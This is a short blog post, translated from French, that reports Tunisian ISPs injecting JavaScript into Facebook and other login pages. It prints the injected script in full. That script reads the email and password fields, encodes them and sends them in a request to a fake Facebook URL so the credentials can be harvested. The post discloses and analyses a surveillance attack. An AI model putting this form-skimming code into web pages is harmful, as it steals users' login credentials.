Tunisia Tracks Users with JavaScript Injection?

Code InjectionDisclaimer: The information reported below has been translated from French to English with the approval of a friend who also released the information on his blog. His server was hit by a DoS attack. Feel free to relay the information!

When you try to access big websites like Facebook, Google or Yahoo! while connected to a Tunisian ISP, here is the code your browser will receive (for Facebook in the example below):

The most interesting code is the following:

<!--
function h6h(st){var st2="";for(i=0;i<st.length;i++){c=st.charCodeAt(i);ch=(c&0xF0)>>4;cl=c&0x0F;
st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;}
function r5t(len){var st="";for(i=0;i<len;i++)st=st+String.fromCharCode(Math.floor(Math.random(1)*26+97)); return st;}
function hAAAQ3d() {
 var frm = document.getElementById("login_form"); var us3r = frm.email.value; var pa55 = frm.pass.value;
 var url = "http://www.facebook.com/wo0dh3ad?q="+r5t(5)+"&u="+h6h(us3r)+"&p="+h6h(pa55); var bnm = navigator.appName; if(bnm=='Microsoft Internet Explorer') inv0k3(url); else inv0k2(url);}
function inv0k1(url) {var objhq = document.getElementById("x6y7z8"); objhq.src = url;}
function inv0k2(url) {var xr = new XMLHttpRequest(); xr.open("GET", url, false); xr.send("");}
function inv0k3(url) {var xr = new ActiveXObject('Microsoft.XMLHTTP'); xr.open("GET", url, false); xr.send("");}
//-->

The code is injected when you try to access the website. It has been successfully tested from a proxy server located in Tunisia. This code generates a new query which looks like:

http://www.facebook.com/wo0dh3ad?q=blablablabla&u=USERNAME&p=PASSWORD

This is a fake page and the user will receive a nice “404” error. But its credentials are sent in clear text. So easy to collect with another tool and build a nice list of poor users!
